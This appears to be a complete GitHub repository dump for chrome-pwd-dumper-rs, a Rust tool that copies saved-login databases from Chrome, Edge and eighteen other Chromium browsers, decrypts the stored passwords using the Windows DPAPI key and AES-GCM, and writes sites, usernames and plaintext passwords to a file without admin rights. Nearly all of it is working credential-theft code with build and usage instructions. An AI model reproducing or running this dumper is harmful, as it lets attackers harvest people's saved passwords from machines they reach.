├── logo.png ├── .gitignore ├── .github └── workflows │ └── rust.yml ├── Cargo.toml ├── src ├── args.rs ├── decryption_core.rs ├── models.rs ├── main.rs └── dumper.rs ├── LICENSE └── README.md /logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zeon256/chrome-pwd-dumper-rs/HEAD/logo.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | **/*.rs.bk 3 | Cargo.lock 4 | dump.txt 5 | .idea 6 | dump.json 7 | -------------------------------------------------------------------------------- /.github/workflows/rust.yml: -------------------------------------------------------------------------------- 1 | on: [push, pull_request] 2 | 3 | name: Continuous integration 4 | 5 | jobs: 6 | check: 7 | name: Check 8 | runs-on: windows-latest 9 | steps: 10 | - uses: actions/checkout@v2 11 | - uses: actions-rs/toolchain@v1 12 | with: 13 | profile: minimal 14 | toolchain: stable 15 | override: true 16 | - uses: actions-rs/cargo@v1 17 | with: 18 | command: check 19 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chrome-pwd-dumper" 3 | version = "0.4.0" 4 | authors = ["Budi Syahiddin "] 5 | edition = "2021" 6 | 7 | [dependencies] 8 | app_dirs = { git = "https://github.com/BudiNverse/app-dirs-rs.git" } 9 | rusqlite = { version = "0.23.1", features = ["bundled"]} 10 | aes-gcm = "0.9.4" 11 | serde = { version = "1.0.114", features = ["derive"]} 12 | serde_json = "1.0.55" 13 | base64 = "0.12.3" 14 | lazy_static = "1.4.0" 15 | argh = "0.1.3" 16 | 17 | [target.'cfg(windows)'.dependencies] 18 | winapi = { version = "0.3.9", features = ["dpapi", "errhandlingapi"] } 19 | 20 | [profile.dev] 21 | opt-level = 0 22 | 23 | [profile.release] 24 | opt-level = 'z' 25 | codegen-units = 1 26 | lto = true 27 | panic = 'abort' 28 | -------------------------------------------------------------------------------- /src/args.rs: -------------------------------------------------------------------------------- 1 | use argh::FromArgs; 2 | use std::ffi::OsString; 3 | 4 | #[derive(Debug, FromArgs)] 5 | /// Windows Chromium based password dumper that doesn't require admin rights 6 | pub struct Opt { 7 | /// select a browser. If left blank, program will try to get all the data available. 8 | /// Browsers selection: `edge`, `chromium`, `7star`, `amigo`, `brave`, `centbrowser`, `chedot`, `chrome_canary`, 9 | /// `coccoc`, `dragon`, `elements-browser`, `epic-privacy-browser`, `chrome`, `kometa`, `orbitum`, `sputnik`, 10 | /// `torch`, `ucozmedia`, `vivaldi`, `atom-mailru` 11 | #[argh(option, short = 'b')] 12 | pub browsers: Vec, 13 | 14 | /// available format `json`, `txt` 15 | #[argh(switch)] 16 | pub json: bool, 17 | 18 | /// file name of output file 19 | #[argh(option)] 20 | pub file_name: OsString, 21 | 22 | /// print to stdout 23 | #[argh(switch)] 24 | pub print: bool, 25 | } 26 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License 2 | 3 | Copyright (c) 2010-2019 Google, Inc. http://angularjs.org 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. -------------------------------------------------------------------------------- /src/decryption_core.rs: -------------------------------------------------------------------------------- 1 | use crate::dumper::DumperError; 2 | use aes_gcm::aead::{generic_array::GenericArray, Aead, NewAead}; 3 | use aes_gcm::Aes256Gcm; 4 | use std::{ptr, slice}; 5 | use winapi::um::dpapi::CryptUnprotectData; 6 | use winapi::um::errhandlingapi::GetLastError; 7 | use winapi::um::wincrypt::DATA_BLOB; 8 | 9 | /// Decryption for chrome v80 based browsers 10 | pub fn aes_gcm_256(key_buf: &mut [u8], pwd_buf: &[u8]) -> Result { 11 | let key = GenericArray::from_slice(key_buf); 12 | let cipher = Aes256Gcm::new(key); 13 | let nonce = GenericArray::from_slice(&pwd_buf[3..15]); 14 | let plaintext = cipher 15 | .decrypt(nonce, &pwd_buf[15..]) 16 | .map_err(|_| DumperError::AesFailedToDecrypt)?; 17 | 18 | String::from_utf8(plaintext).map_err(|_| DumperError::FromUtf8Error) 19 | } 20 | 21 | /// Wrapper around DPAPI `CryptUnprotectData` 22 | pub fn crypt_unprotect_data(data_buf: &mut [u8]) -> Result, DumperError> { 23 | let buf_ptr = data_buf.as_mut_ptr(); 24 | let buf_len = data_buf.len(); 25 | let mut data_in = DATA_BLOB { 26 | cbData: buf_len as u32, 27 | pbData: buf_ptr, 28 | }; 29 | 30 | let mut data_out = unsafe { std::mem::zeroed() }; 31 | 32 | let unprotect_result = unsafe { 33 | CryptUnprotectData( 34 | &mut data_in, 35 | ptr::null_mut(), 36 | ptr::null_mut(), 37 | ptr::null_mut(), 38 | ptr::null_mut(), 39 | 0, 40 | &mut data_out, 41 | ) 42 | }; 43 | 44 | if unprotect_result == 0 { 45 | let error = unsafe { GetLastError() }; 46 | return Err(DumperError::DpapiFailedToDecrypt(error)); 47 | } 48 | 49 | // SAFETY: We cannot use Vec::from_raw_parts because the data is not allocated by Vec 50 | // Hence, we just take a slice of it then allocate a new buffer 51 | // See: https://github.com/BudiNverse/chrome-pwd-dumper-rs/issues/5 52 | let buf = unsafe { slice::from_raw_parts(data_out.pbData, data_out.cbData as usize) }.to_vec(); 53 | 54 | Ok(buf) 55 | } 56 | -------------------------------------------------------------------------------- /src/models.rs: -------------------------------------------------------------------------------- 1 | use crate::decryption_core::{aes_gcm_256, crypt_unprotect_data}; 2 | use crate::dumper::DumperError; 3 | 4 | #[derive(Debug, Deserialize)] 5 | pub struct LocalState<'a> { 6 | #[serde(borrow)] 7 | pub os_crypt: OsCrypt<'a>, 8 | } 9 | 10 | #[derive(Debug, Deserialize)] 11 | pub struct OsCrypt<'a> { 12 | pub encrypted_key: &'a str, 13 | } 14 | 15 | #[derive(Debug, Clone)] 16 | pub struct ChromeAccount { 17 | pub website: String, 18 | pub username_value: String, 19 | pub encrypted_pwd: Vec, 20 | } 21 | 22 | #[derive(Debug, Serialize, Clone)] 23 | pub struct DecryptedAccount { 24 | pub website: String, 25 | pub username_value: String, 26 | pub pwd: String, 27 | } 28 | 29 | impl DecryptedAccount { 30 | pub fn from_chrome_acc( 31 | mut chrome_acc: ChromeAccount, 32 | master_key: Option<&mut [u8]>, 33 | ) -> Result { 34 | match master_key { 35 | Some(master_key) => { 36 | let pwd_buf = chrome_acc.encrypted_pwd.as_slice(); 37 | let pwd = aes_gcm_256(master_key, pwd_buf)?; 38 | Ok(DecryptedAccount { 39 | website: chrome_acc.website, 40 | username_value: chrome_acc.username_value, 41 | pwd, 42 | }) 43 | } 44 | None => { 45 | let pwd_buf = crypt_unprotect_data(chrome_acc.encrypted_pwd.as_mut_slice())?; 46 | let pwd = String::from_utf8(pwd_buf).map_err(|_| DumperError::FromUtf8Error)?; 47 | Ok(DecryptedAccount { 48 | website: chrome_acc.website, 49 | username_value: chrome_acc.username_value, 50 | pwd, 51 | }) 52 | } 53 | } 54 | } 55 | } 56 | 57 | impl ChromeAccount { 58 | pub fn new(website: String, username_value: String, password_value: Vec) -> Self { 59 | ChromeAccount { 60 | website, 61 | username_value, 62 | encrypted_pwd: password_value, 63 | } 64 | } 65 | } 66 | 67 | impl From for DumperError { 68 | fn from(_: std::io::Error) -> Self { 69 | DumperError::IoError 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | #[macro_use] 2 | extern crate serde; 3 | 4 | use crate::args::Opt; 5 | use crate::dumper::{Dumper, DumperError}; 6 | use lazy_static::lazy_static; 7 | use std::collections::HashMap; 8 | use std::fs; 9 | 10 | mod args; 11 | mod decryption_core; 12 | mod dumper; 13 | mod models; 14 | 15 | pub type DumperResult = Result; 16 | 17 | #[rustfmt::skip] 18 | lazy_static! { 19 | pub static ref BROWSERS: HashMap<&'static str, Dumper> = { 20 | let mut hm = HashMap::new(); 21 | hm.insert("edge", Dumper::new("Edge", "Microsoft")); 22 | hm.insert("chromium", Dumper::new("", "Chromium")); 23 | hm.insert("7star", Dumper::new("7Star", "7Star")); 24 | hm.insert("amigo", Dumper::new("", "Amigo")); 25 | hm.insert("brave", Dumper::new("Brave-Browser", "BraveSoftware")); 26 | hm.insert("centbrowser", Dumper::new("", "CentBrowser")); 27 | hm.insert("chedot", Dumper::new("", "Chedot")); 28 | hm.insert("chrome_canary", Dumper::new("Chrome SxS", "Google")); 29 | hm.insert("coccoc", Dumper::new("Browser", "CocCoc")); 30 | hm.insert("dragon", Dumper::new("Dragon", "Comodo")); 31 | hm.insert("elements-browser", Dumper::new("", "Elements Browser")); 32 | hm.insert("epic-privacy-browser",Dumper::new("", "Epic Privacy Browser")); 33 | hm.insert("chrome", Dumper::new("Chrome", "Google")); 34 | hm.insert("kometa", Dumper::new("", "Kometa")); 35 | hm.insert("orbitum", Dumper::new("", "Orbitum")); 36 | hm.insert("sputnik", Dumper::new("Sputnik", "Sputnik")); 37 | hm.insert("torch", Dumper::new("", "Torch")); 38 | hm.insert("ucozmedia", Dumper::new("Uran", "uCozMedia")); 39 | hm.insert("vivaldi", Dumper::new("", "Vivaldi")); 40 | hm.insert("atom-mailru", Dumper::new("Atom", "Mail.Ru")); 41 | 42 | hm 43 | }; 44 | } 45 | 46 | fn main() -> DumperResult<()> { 47 | let mut opt: Opt = argh::from_env(); 48 | 49 | // error can be ignored 50 | fs::remove_dir_all("./.tmp"); 51 | fs::create_dir("./.tmp")?; 52 | 53 | let browsers = &mut BROWSERS.clone(); 54 | 55 | if opt.browsers.is_empty() { 56 | return Err(DumperError::BrowserNotFound); 57 | } 58 | 59 | if opt.browsers[0].eq("all") { 60 | opt.browsers.clear(); 61 | opt.browsers = browsers.keys().map(|v| v.to_string()).collect::>(); 62 | } 63 | 64 | let data = opt 65 | .browsers 66 | .into_iter() 67 | .filter_map(|v| browsers.get(v.as_str()).cloned()) 68 | .map(|mut v| v.dump().map(|_| v)) 69 | .filter_map(|v| v.ok()) 70 | .collect::>(); 71 | 72 | if opt.print { 73 | println!("{:#?}", data); 74 | } 75 | 76 | let mut path = opt.file_name; 77 | 78 | let buf = if opt.json { 79 | path.push(".json"); 80 | serde_json::to_string_pretty(data.as_slice()).map_err(DumperError::JsonError)? 81 | } else { 82 | path.push(".txt"); 83 | format!("{:#?}", data) 84 | }; 85 | 86 | fs::write(path, buf.as_bytes())?; 87 | fs::remove_dir_all("./.tmp")?; 88 | Ok(()) 89 | } 90 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # chrome-pwd-dumper-rs 2 | A Windows Chromium based password dumper written in rust 3 | 4 |

5 | 6 |

7 | 8 | ## Supported browsers 9 | - Microsoft Edge 10 | - Google Chrome 11 | - Chromium 12 | - 7star 13 | - Amigo 14 | - Brave 15 | - Cent Browser 16 | - Chedot 17 | - Chrome Canary 18 | - Coccoc Browser 19 | - Comodo Dragon 20 | - Elements Browser 21 | - Epic Privacy Browser 22 | - Kometa 23 | - Orbitum 24 | - Sputnik 25 | - Torch Browser 26 | - uCozMedia Uran 27 | - Vivaldi 28 | - Mail.Ru Atom 29 | 30 | ## Compatibility 31 | - Tested Microsoft Windows 10 Education 64-bit (Build 17763) 32 | - Tested Microsoft Windows 7 SP1 64-bit (Build 7601) 33 | 34 | You can make a PR if it works on older versions of Windows 35 | 36 | ## Flags 37 | ``` 38 | Usage: chrome-pwd-dumper.exe [-b ] [--json] --file-name [--print] 39 | 40 | Windows Chromium based password dumper that doesn't require admin rights 41 | 42 | Options: 43 | -b, --browsers select a browser. If left blank, program will try to get all 44 | the data available. Browsers selection: `edge`, `chromium`, 45 | `7star`, `amigo`, `brave`, `centbrowser`, `chedot`, 46 | `chrome_canary`, `coccoc`, `dragon`, `elements-browser`, 47 | `epic-privacy-browser`, `chrome`, `kometa`, `orbitum`, 48 | `sputnik`, `torch`, `ucozmedia`, `vivaldi`, `atom-mailru` 49 | --json available format `json`, `txt` 50 | --file-name file name of output file 51 | --print print to stdout 52 | --help display usage information 53 | ``` 54 | 55 | ## Example Usage 56 | ``` 57 | chrome-pwd-dumper.exe -b edge --json --file-name dump2.txt --print 58 | [ 59 | Dumper { 60 | app_info: AppInfo { 61 | name: "Edge", 62 | author: "Microsoft", 63 | }, 64 | accounts: [ 65 | DecryptedAccount { 66 | website: "https://www.mcdelivery.com.sg/", 67 | username_value: "chromedumper@gmail.com", 68 | pwd: "xXxChromePwdDumperxXx", 69 | }, 70 | DecryptedAccount { 71 | website: "https://www.singpass.gov.sg/", 72 | username_value: "", 73 | pwd: "xXxChromePwdDumperxXx", 74 | }, 75 | DecryptedAccount { 76 | website: "https://careers.tiktok.com/", 77 | username_value: "chromedumper@gmail.com", 78 | pwd: "xXxChromePwdDumperxXx", 79 | }, 80 | ], 81 | }, 82 | ] 83 | ``` 84 | 85 | ## How to build 86 | ``` 87 | // recommended 88 | cargo build --release 89 | 90 | // for more optimised builds (If target is not the same as your cpu it might not work!) 91 | cargo rustc --release -- -C target-cpu=native 92 | 93 | // Optimise for binary size 94 | // Current config builds with opt-level = 3 for performance 95 | // Change to opt-level = 'z' in Cargo.toml 96 | 97 | ``` 98 | 99 | ## License 100 | chrome-pwd-dumper-rs is licensed under MIT license (LICENSE-MIT or http://opensource.org/licenses/MIT) 101 | -------------------------------------------------------------------------------- /src/dumper.rs: -------------------------------------------------------------------------------- 1 | use crate::decryption_core::crypt_unprotect_data; 2 | use crate::models::{ChromeAccount, DecryptedAccount, LocalState}; 3 | use crate::DumperResult; 4 | use app_dirs::{get_app_dir, AppDataType, AppInfo}; 5 | use rusqlite::{Connection, NO_PARAMS}; 6 | use std::fmt::Debug; 7 | use std::fs::File; 8 | use std::io::{BufReader, Read}; 9 | use std::path::PathBuf; 10 | use std::{fmt, fs}; 11 | 12 | impl From for DumperError { 13 | fn from(e: rusqlite::Error) -> Self { 14 | DumperError::SqliteError(e) 15 | } 16 | } 17 | 18 | #[derive(Debug)] 19 | pub enum DumperError { 20 | SqliteError(rusqlite::Error), 21 | BrowserNotFound, 22 | DpapiFailedToDecrypt(u32), 23 | AesFailedToDecrypt, 24 | FromUtf8Error, 25 | IoError, 26 | JsonError(serde_json::Error), 27 | Base64Error, 28 | } 29 | 30 | #[derive(Serialize, Clone)] 31 | pub struct Dumper { 32 | app_info: AppInfo, 33 | #[serde(skip_serializing)] 34 | local_state_buf: String, 35 | pub accounts: Vec, 36 | } 37 | 38 | impl Debug for Dumper { 39 | fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { 40 | f.debug_struct("Dumper") 41 | .field("app_info", &self.app_info) 42 | .field("accounts", &self.accounts) 43 | .finish() 44 | } 45 | } 46 | 47 | impl Dumper { 48 | pub fn new(name: &'static str, author: &'static str) -> Self { 49 | let name = match name { 50 | "" => "User Data", 51 | _ => name, 52 | }; 53 | 54 | Dumper { 55 | app_info: AppInfo { name, author }, 56 | local_state_buf: String::new(), 57 | accounts: vec![], 58 | } 59 | } 60 | } 61 | 62 | impl Dumper { 63 | const STMT: &'static str = "SELECT action_url, username_value, password_value FROM logins"; 64 | 65 | /// Look for the local_state file 66 | fn find_browser_local_state(&self) -> DumperResult { 67 | let path = match self.app_info.name { 68 | "User Data" => "/Local State", 69 | _ => "User Data/Local State", 70 | }; 71 | 72 | get_app_dir(AppDataType::UserCache, &self.app_info, path) 73 | .map_err(|_| DumperError::BrowserNotFound) 74 | } 75 | 76 | /// Copies the database and writes to a file in /.tmp 77 | fn cp_login_db(&self) -> DumperResult { 78 | let path = match self.app_info.name { 79 | "User Data" => "/Default/Login Data", 80 | _ => "User Data/Default/Login Data", 81 | }; 82 | 83 | let path_buf = get_app_dir(AppDataType::UserCache, &self.app_info, path) 84 | .map_err(|_| DumperError::BrowserNotFound)?; 85 | 86 | let new_path_buf = PathBuf::from(format!("./.tmp/{}_login_data", self.app_info.author)); 87 | fs::copy(path_buf, new_path_buf.as_path())?; 88 | 89 | Ok(new_path_buf) 90 | } 91 | 92 | /// Tried to read local_state file 93 | fn read_local_state(&mut self) -> DumperResult { 94 | let path = self.find_browser_local_state()?; 95 | let file = File::open(path)?; 96 | let mut reader = BufReader::new(file); 97 | reader.read_to_string(&mut self.local_state_buf)?; 98 | 99 | serde_json::from_str(self.local_state_buf.as_str()).map_err(DumperError::JsonError) 100 | } 101 | 102 | /// Queries account in sqlite db file 103 | fn query_accounts(&self) -> DumperResult> { 104 | let db_url = self.cp_login_db()?; 105 | let conn = Connection::open(db_url)?; 106 | let mut stmt = conn.prepare(Self::STMT)?; 107 | 108 | let chrome_accounts = stmt 109 | .query_map(NO_PARAMS, |row| { 110 | Ok(ChromeAccount::new(row.get(0)?, row.get(1)?, row.get(2)?)) 111 | })? 112 | .filter_map(|acc| acc.ok()) 113 | .collect(); 114 | 115 | Ok(chrome_accounts) 116 | } 117 | 118 | /// Tries to dump data to struct account vec 119 | pub fn dump(&mut self) -> DumperResult<()> { 120 | let local_state = self.read_local_state().ok(); 121 | if let Some(local_state) = local_state { 122 | let mut decoded_encryption_key = 123 | base64::decode(local_state.os_crypt.encrypted_key.to_string()) 124 | .map_err(|_| DumperError::Base64Error)?; 125 | 126 | let mut master_key = crypt_unprotect_data(&mut decoded_encryption_key[5..])?; 127 | 128 | let mut accounts = self 129 | .query_accounts()? 130 | .into_iter() 131 | .filter(|acc| !acc.encrypted_pwd.is_empty() && !acc.website.is_empty()) 132 | .map(|acc| { 133 | let res = DecryptedAccount::from_chrome_acc(acc.clone(), None); 134 | if res.is_err() { 135 | DecryptedAccount::from_chrome_acc( 136 | acc, 137 | Some(master_key.as_mut_slice()), 138 | ) 139 | } else { 140 | res 141 | } 142 | }) 143 | .filter_map(|v| v.ok()) 144 | .collect::>(); 145 | 146 | self.accounts.append(&mut accounts); 147 | } else { 148 | let mut accounts = self 149 | .query_accounts()? 150 | .into_iter() 151 | .filter(|acc| !acc.encrypted_pwd.is_empty() && !acc.website.is_empty()) 152 | .filter_map(|acc| DecryptedAccount::from_chrome_acc(acc, None).ok()) 153 | .collect::>(); 154 | 155 | self.accounts.append(&mut accounts); 156 | } 157 | 158 | Ok(()) 159 | } 160 | } 161 | --------------------------------------------------------------------------------